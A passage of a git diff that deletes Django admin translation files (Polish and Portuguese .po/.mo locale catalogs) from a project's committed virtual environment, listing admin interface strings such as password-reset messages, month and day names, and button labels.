"Date/time" -msgstr "Data/czas" - -msgid "User" -msgstr "Użytkownik" - -msgid "Action" -msgstr "Akcja" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "wpis" -msgstr[1] "wpisy" -msgstr[2] "wpisów" -msgstr[3] "wpisu" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Ten obiekt nie ma historii zmian. Najprawdopodobniej nie został on dodany " -"poprzez panel administracyjny." - -msgid "Show all" -msgstr "Pokaż wszystko" - -msgid "Save" -msgstr "Zapisz" - -msgid "Popup closing…" -msgstr "Zamykanie okna..." - -msgid "Search" -msgstr "Szukaj" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s wynik" -msgstr[1] "%(counter)s wyniki" -msgstr[2] "%(counter)s wyników" -msgstr[3] "%(counter)s wyników" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s łącznie" - -msgid "Save as new" -msgstr "Zapisz jako nowy" - -msgid "Save and add another" -msgstr "Zapisz i dodaj nowy" - -msgid "Save and continue editing" -msgstr "Zapisz i kontynuuj edycję" - -msgid "Save and view" -msgstr "Zapisz i obejrzyj" - -msgid "Close" -msgstr "Zamknij" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Zmień wybraną(-ne)(-nego)(-ny) %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Dodaj kolejne(go)(-ną)(-ny) %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Usuń wybraną(-ne)(-nego)(-ny) %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Obejrzyj wybraną(-ne)(-nego)(-ny) %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Dzięki za spędzenie cennego czasu ze stroną." - -msgid "Log in again" -msgstr "Zaloguj się ponownie" - -msgid "Password change" -msgstr "Zmiana hasła" - -msgid "Your password was changed." -msgstr "Twoje hasło zostało zmienione." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Podaj swoje stare hasło, ze względów bezpieczeństwa, a później wpisz " -"dwukrotnie Twoje nowe hasło, abyśmy mogli zweryfikować, że zostało wpisane " -"poprawnie." - -msgid "Change my password" -msgstr "Zmień hasło" - -msgid "Password reset" -msgstr "Zresetuj hasło" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Twoje hasło zostało ustawione. Możesz się teraz zalogować." - -msgid "Password reset confirmation" -msgstr "Potwierdzenie zresetowania hasła" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Podaj dwukrotnie nowe hasło, by można było zweryfikować, czy zostało wpisane " -"poprawnie." - -msgid "New password:" -msgstr "Nowe hasło:" - -msgid "Confirm password:" -msgstr "Potwierdź hasło:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Link pozwalający na reset hasła jest niepoprawny - być może dlatego, że " -"został już raz użyty. Możesz ponownie zażądać zresetowania hasła." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Instrukcja pozwalająca ustawić nowe hasło dla podanego adresu e-mail została " -"wysłana. Niebawem powinna się pojawić na twoim koncie pocztowym." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"W przypadku nieotrzymania wiadomości e-mail: upewnij się czy adres " -"wprowadzony jest zgodny z tym podanym podczas rejestracji i sprawdź " -"zawartość folderu SPAM na swoim koncie." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Otrzymujesz tę wiadomość, gdyż skorzystano z opcji resetu hasła dla Twojego " -"konta na stronie %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "" -"Aby wprowadzić nowe hasło, proszę przejść na stronę, której adres widnieje " -"poniżej:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Na wypadek gdybyś zapomniał(a), jesteś:" - -msgid "Thanks for using our site!" -msgstr "Dzięki za korzystanie z naszej strony!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Zespół %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Nie pamiętasz swojego hasła? Wprowadź w poniższym polu swój adres e-mail, a " -"wyślemy ci instrukcję opisującą sposób ustawienia nowego hasła." - -msgid "Email address:" -msgstr "Adres e-mail:" - -msgid "Reset my password" -msgstr "Zresetuj moje hasło" - -msgid "Select all objects on this page for an action" -msgstr "Wybierz wszystkie obiekty na tej stronie do wykonania akcji" - -msgid "All dates" -msgstr "Wszystkie daty" - -#, python-format -msgid "Select %s" -msgstr "Wybierz %s" - -#, python-format -msgid "Select %s to change" -msgstr "Wybierz %s do zmiany" - -#, python-format -msgid "Select %s to view" -msgstr "Wybierz %s do obejrzenia" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Czas:" - -msgid "Lookup" -msgstr "Szukaj" - -msgid "Currently:" -msgstr "Aktualny:" - -msgid "Change:" -msgstr "Zmień:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.mo deleted file mode 100644 index b5945d7f..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.po deleted file mode 100644 index 453c696a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,344 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# angularcircle, 2011 -# Darek, 2022 -# Jannis Leidel , 2011 -# Janusz Harkot , 2014-2015 -# 0d5641585fd67fbdb97037c19ab83e4c_18c98b0 , 2011 -# Maciej Olko , 2016,2018,2020 -# Maciej Olko , 2023 -# Mariusz Felisiak , 2021,2023,2025 -# Roman Barczyński, 2012 -# Tomasz Kajtoch , 2016-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Mariusz Felisiak , " -"2021,2023,2025\n" -"Language-Team: Polish (http://app.transifex.com/django/django/language/pl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pl\n" -"Plural-Forms: nplurals=4; plural=(n==1 ? 0 : (n%10>=2 && n%10<=4) && " -"(n%100<12 || n%100>14) ? 1 : n!=1 && (n%10>=0 && n%10<=1) || (n%10>=5 && " -"n%10<=9) || (n%100>=12 && n%100<=14) ? 2 : 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Dostępne %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "Wybierz %s przez zaznaczenie ich i kliknięcie strzałki \"Wybierz\"." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Wpisz coś tutaj, aby wyfiltrować listę dostępnych %s." - -msgid "Filter" -msgstr "Filtr" - -#, javascript-format -msgid "Choose all %s" -msgstr "Wybierz wszystkie %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Wybierz zaznaczone %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Usuń zaznaczone %s" - -#, javascript-format -msgid "Chosen %s" -msgstr "Wybrane %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "Usuń %s przez zaznaczenie ich i kliknięcie strzałki \"Usuń\"." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Wpisz coś tutaj, aby wyfiltrować listę wybranych %s." - -msgid "(click to clear)" -msgstr "(kliknij aby wyczyścić)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Usuń wszystkie %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s wybrana opcja jest ukryta" -msgstr[1] "%s wybrane opcje są ukryte" -msgstr[2] "%s wybranych opcji jest ukrytych" -msgstr[3] "%s wybranych opcji jest ukrytych" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Wybrano %(sel)s z %(cnt)s" -msgstr[1] "Wybrano %(sel)s z %(cnt)s" -msgstr[2] "Wybrano %(sel)s z %(cnt)s" -msgstr[3] "Wybrano %(sel)s z %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Zmiany w niektórych polach nie zostały zachowane. Po wykonaniu akcji, zmiany " -"te zostaną utracone." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Wybrano akcję, lecz część zmian w polach nie została zachowana. Kliknij OK, " -"aby zapisać. Aby wykonać akcję, należy ją ponownie uruchomić." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Wybrano akcję, lecz nie dokonano żadnych zmian w polach. Prawdopodobnie " -"szukasz przycisku „Wykonaj”, a nie „Zapisz”." - -msgid "Now" -msgstr "Teraz" - -msgid "Midnight" -msgstr "Północ" - -msgid "6 a.m." -msgstr "6 rano" - -msgid "Noon" -msgstr "Południe" - -msgid "6 p.m." -msgstr "6 po południu" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -"Uwaga: Czas lokalny jest przesunięty o %s godzinę do przodu w stosunku do " -"czasu serwera." -msgstr[1] "" -"Uwaga: Czas lokalny jest przesunięty o %s godziny do przodu w stosunku do " -"czasu serwera." -msgstr[2] "" -"Uwaga: Czas lokalny jest przesunięty o %s godzin do przodu w stosunku do " -"czasu serwera." -msgstr[3] "" -"Uwaga: Czas lokalny jest przesunięty o %s godzin do przodu w stosunku do " -"czasu serwera." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Uwaga: Czas lokalny jest przesunięty o %s godzinę do tyłu w stosunku do " -"czasu serwera." -msgstr[1] "" -"Uwaga: Czas lokalny jest przesunięty o %s godziny do tyłu w stosunku do " -"czasu serwera." -msgstr[2] "" -"Uwaga: Czas lokalny jest przesunięty o %s godzin do tyłu w stosunku do czasu " -"serwera." -msgstr[3] "" -"Uwaga: Czas lokalny jest przesunięty o %s godzin do tyłu w stosunku do czasu " -"serwera." - -msgid "Choose a Time" -msgstr "Wybierz Czas" - -msgid "Choose a time" -msgstr "Wybierz czas" - -msgid "Cancel" -msgstr "Anuluj" - -msgid "Today" -msgstr "Dzisiaj" - -msgid "Choose a Date" -msgstr "Wybierz Datę" - -msgid "Yesterday" -msgstr "Wczoraj" - -msgid "Tomorrow" -msgstr "Jutro" - -msgid "January" -msgstr "Styczeń" - -msgid "February" -msgstr "Luty" - -msgid "March" -msgstr "Marzec" - -msgid "April" -msgstr "Kwiecień" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Czerwiec" - -msgid "July" -msgstr "Lipiec" - -msgid "August" -msgstr "Sierpień" - -msgid "September" -msgstr "Wrzesień" - -msgid "October" -msgstr "Październik" - -msgid "November" -msgstr "Listopad" - -msgid "December" -msgstr "Grudzień" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Sty" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Lut" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Kwi" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Cze" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Lip" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Sie" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Wrz" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Paź" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Lis" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Gru" - -msgid "Sunday" -msgstr "Niedziela" - -msgid "Monday" -msgstr "Poniedziałek" - -msgid "Tuesday" -msgstr "Wtorek" - -msgid "Wednesday" -msgstr "Środa" - -msgid "Thursday" -msgstr "Czwartek" - -msgid "Friday" -msgstr "Piątek" - -msgid "Saturday" -msgstr "Sobota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Nd" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pon" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Wt" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Śr" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Czw" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pt" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "So" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "N" - -msgctxt "one letter Monday" -msgid "M" -msgstr "P" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "W" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Ś" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "C" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/django.mo deleted file mode 100644 index be1ab3e3..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/django.po deleted file mode 100644 index bee8df6f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/django.po +++ /dev/null @@ -1,806 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# emansije , 2023 -# Henrique Azevedo , 2018,2023 -# Jannis Leidel , 2011 -# jorgecarleitao , 2015 -# Manuela Silva , 2025 -# Nuno Mariz , 2013,2015,2017-2018,2023 -# 12574c6d66324e145c1d19e02acecb73_84badd8 <4e8d94859927eab3b50486d21249c068_5346>, 2011 -# Raúl Pedro Fernandes Santos, 2014 -# Rui Dinis Silva, 2017 -# Sofia Matias, 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Manuela Silva , 2025\n" -"Language-Team: Portuguese (http://app.transifex.com/django/django/language/" -"pt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pt\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Remover %(verbose_name_plural)s selecionados" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Foram removidos com sucesso %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Não é possível remover %(name)s " - -msgid "Delete multiple objects" -msgstr "Remover múltiplos objetos." - -msgid "Administration" -msgstr "Administração" - -msgid "All" -msgstr "Todos" - -msgid "Yes" -msgstr "Sim" - -msgid "No" -msgstr "Não" - -msgid "Unknown" -msgstr "Desconhecido" - -msgid "Any date" -msgstr "Qualquer data" - -msgid "Today" -msgstr "Hoje" - -msgid "Past 7 days" -msgstr "Últimos 7 dias" - -msgid "This month" -msgstr "Este mês" - -msgid "This year" -msgstr "Este ano" - -msgid "No date" -msgstr "Sem data" - -msgid "Has date" -msgstr "Tem data" - -msgid "Empty" -msgstr "Vazio" - -msgid "Not empty" -msgstr "Não está vazio" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor introduza o %(username)s e password corretos para a conta de " -"equipa. Tenha em atenção às maiúsculas e minúsculas." - -msgid "Action:" -msgstr "Ação:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Adicionar outro %(verbose_name)s" - -msgid "Remove" -msgstr "Remover" - -msgid "Addition" -msgstr "Adição" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Eliminação" - -msgid "action time" -msgstr "hora da ação" - -msgid "user" -msgstr "utilizador" - -msgid "content type" -msgstr "tipo de conteúdo" - -msgid "object id" -msgstr "id do objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr do objeto" - -msgid "action flag" -msgstr "flag de ação" - -msgid "change message" -msgstr "modificar mensagem" - -msgid "log entry" -msgstr "entrada de log" - -msgid "log entries" -msgstr "entradas de log" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Adicionado \"%(object)s\"" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Modificado \"%(object)s\" — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Removido \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Objeto LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Adicionado {name} \"{object}\"" - -msgid "Added." -msgstr "Adicionado." - -msgid "and" -msgstr "e" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Alterado {fields} para {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Foi modificado {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Removido {name} \"{object}\"" - -msgid "No fields changed." -msgstr "Nenhum campo foi modificado." - -msgid "None" -msgstr "Nenhum" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Mantenha premida a tecla “Control”, ou “Command” no Mac, para selecionar " -"mais do que uma." - -msgid "Select this object for an action - {}" -msgstr "Selecionar este objecto para uma ação - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "O {name} “{obj}” foi adicionado com sucesso." - -msgid "You may edit it again below." -msgstr "Pode editar novamente abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"O {name} “{obj}” foi adicionado com sucesso. Pode adicionar outro {name} " -"abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"O {name} “{obj}” foi adicionado com sucesso. Pode editar novamente abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"O {name} “{obj}” foi alterado com sucesso. Pode adicionar outro {name} " -"abaixo." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "O {name} “{obj}” foi alterado com sucesso." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Os itens devem ser selecionados de forma a efectuar ações sobre eles. Nenhum " -"item foi modificado." - -msgid "No action selected." -msgstr "Nenhuma ação selecionada." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "O %(name)s “%(obj)s” foi apagado com sucesso." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s com o ID “%(key)s” não existe. Talvez tenha sido apagado?" - -#, python-format -msgid "Add %s" -msgstr "Adicionar %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "View %s " - -msgid "Database error" -msgstr "Erro de base de dados" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s foi modificado com sucesso." -msgstr[1] "%(count)s %(name)s foram modificados com sucesso." -msgstr[2] "%(count)s %(name)s foram modificados com sucesso." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selecionado" -msgstr[1] "Todos %(total_count)s selecionados" -msgstr[2] "Todos %(total_count)s selecionados" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s selecionados" - -msgid "Delete" -msgstr "Remover" - -#, python-format -msgid "Change history: %s" -msgstr "Histórico de modificações: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Remover %(class_name)s %(instance)s exigiria a remoção dos seguintes objetos " -"relacionados protegidos: %(related_objects)s" - -msgid "Django site admin" -msgstr "Site de administração do Django" - -msgid "Django administration" -msgstr "Administração do Django" - -msgid "Site administration" -msgstr "Administração do site" - -msgid "Log in" -msgstr "Entrar" - -#, python-format -msgid "%(app)s administration" -msgstr "Administração de %(app)s" - -msgid "Page not found" -msgstr "Página não encontrada" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Pedimos desculpa mas a página solicitada não foi encontrada. " - -msgid "Home" -msgstr "Início" - -msgid "Server error" -msgstr "Erro do servidor" - -msgid "Server error (500)" -msgstr "Erro do servidor (500)" - -msgid "Server Error (500)" -msgstr "Erro do servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ocorreu um erro. Foi comunicado por email aos administradores da página e " -"deverá ser corrigido em breve. Obrigado pela sua compreensão. " - -msgid "Run the selected action" -msgstr "Executar a acção selecionada" - -msgid "Go" -msgstr "Ir" - -msgid "Click here to select the objects across all pages" -msgstr "Clique aqui para selecionar os objetos em todas as páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Selecionar todos %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Remover seleção" - -msgid "Breadcrumbs" -msgstr "Marcas de navegação" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos na aplicação %(name)s" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Adicionar" - -msgid "View" -msgstr "View" - -msgid "You don’t have permission to view or edit anything." -msgstr "Não tem permissões para visualizar ou editar nada. " - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Modificar palavra-passe" - -msgid "Set password" -msgstr "Definir palavra-passe" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Por favor, corrija o erro abaixo." -msgstr[1] "Por favor, corrija os erros abaixo." -msgstr[2] "Por favor, corrija os erros abaixo." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Introduza uma nova palavra-passe para o utilizador %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Esta ação irá ativara autenticação baseada em palavra-passe " -"para este utilizador." - -msgid "Disable password-based authentication" -msgstr "Desativar a autenticação baseada em palavra-passe" - -msgid "Enable password-based authentication" -msgstr "Ativar a autenticação baseada em palavra-passe" - -msgid "Skip to main content" -msgstr "Ir para o conteúdo principal" - -msgid "Welcome," -msgstr "Bem-vindo," - -msgid "View site" -msgstr "Ver site" - -msgid "Documentation" -msgstr "Documentação" - -msgid "Log out" -msgstr "Sair" - -#, python-format -msgid "Add %(name)s" -msgstr "Adicionar %(name)s" - -msgid "History" -msgstr "História" - -msgid "View on site" -msgstr "Ver no site" - -msgid "Filter" -msgstr "Filtro" - -msgid "Hide counts" -msgstr "Ocultar contagem" - -msgid "Show counts" -msgstr "Mostrar contagem" - -msgid "Clear all filters" -msgstr "Limpar todos os filtros" - -msgid "Remove from sorting" -msgstr "Remover da ordenação" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridade de ordenação: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Altenar ordenação" - -msgid "Toggle theme (current theme: auto)" -msgstr "Mudar tema (tema corrente: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Mudar tema (tema corrente: claro)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Mudar tema (tema corrente: escuro)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"A remoção de %(object_name)s '%(escaped_object)s' resultará na remoção dos " -"objetos relacionados, mas a sua conta não tem permissão de remoção dos " -"seguintes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Remover o %(object_name)s ' %(escaped_object)s ' exigiria a remoção dos " -"seguintes objetos protegidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Tem a certeza que deseja remover %(object_name)s \"%(escaped_object)s\"? " -"Todos os items relacionados seguintes irão ser removidos:" - -msgid "Objects" -msgstr "Objectos" - -msgid "Yes, I’m sure" -msgstr "Sim, tenho a certeza" - -msgid "No, take me back" -msgstr "Não, retrocede" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Remover o %(objects_name)s selecionado poderia resultar na remoção de " -"objetos relacionados, mas a sua conta não tem permissão para remover os " -"seguintes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Remover o %(objects_name)s selecionado exigiria remover os seguintes objetos " -"protegidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Tem certeza de que deseja remover %(objects_name)s selecionado? Todos os " -"objetos seguintes e seus itens relacionados serão removidos:" - -msgid "Delete?" -msgstr "Remover?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Por %(filter_title)s " - -msgid "Summary" -msgstr "Sumário" - -msgid "Recent actions" -msgstr "Ações recentes" - -msgid "My actions" -msgstr "As minhas ações" - -msgid "None available" -msgstr "Nenhum disponível" - -msgid "Added:" -msgstr "Adicionado:" - -msgid "Changed:" -msgstr "Alterado:" - -msgid "Deleted:" -msgstr "Apagado:" - -msgid "Unknown content" -msgstr "Conteúdo desconhecido" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Há algo de errado com a instalação da base de dados. Certifique-se de que as " -"tabelas adequadas da base de dados foram criadas e de que a base de dados " -"pode ser lida pelo utilizador adequado." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Está autenticado como %(username)s, mas não está autorizado a aceder a esta " -"página. Deseja autenticar-se com uma conta diferente?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Alternar navegação" - -msgid "Sidebar" -msgstr "Barra lateral" - -msgid "Start typing to filter…" -msgstr "Começe a digitar para filtrar…" - -msgid "Filter navigation items" -msgstr "Filtrar itens de navegação" - -msgid "Date/time" -msgstr "Data/hora" - -msgid "User" -msgstr "Utilizador" - -msgid "Action" -msgstr "Ação" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "entrada" -msgstr[1] "entradas" -msgstr[2] "entradas" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Este objeto não tem um histórico de alterações. Provavelmente não foi " -"adicionado através da página de administração." - -msgid "Show all" -msgstr "Mostrar todos" - -msgid "Save" -msgstr "Gravar" - -msgid "Popup closing…" -msgstr "Encerramento de popup…" - -msgid "Search" -msgstr "Pesquisar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado" -msgstr[1] "%(counter)s resultados" -msgstr[2] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s no total" - -msgid "Save as new" -msgstr "Gravar como novo" - -msgid "Save and add another" -msgstr "Gravar e adicionar outro" - -msgid "Save and continue editing" -msgstr "Gravar e continuar a editar" - -msgid "Save and view" -msgstr "Gravar e ver" - -msgid "Close" -msgstr "Fechar" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Alterar %(model)s selecionado." - -#, python-format -msgid "Add another %(model)s" -msgstr "Adicionar outro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Remover %(model)s seleccionado" - -#, python-format -msgid "View selected %(model)s" -msgstr "Vista selecionada %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Obrigado por passar algum tempo de qualidade com a página Web hoje." - -msgid "Log in again" -msgstr "Entrar novamente" - -msgid "Password change" -msgstr "Modificação da 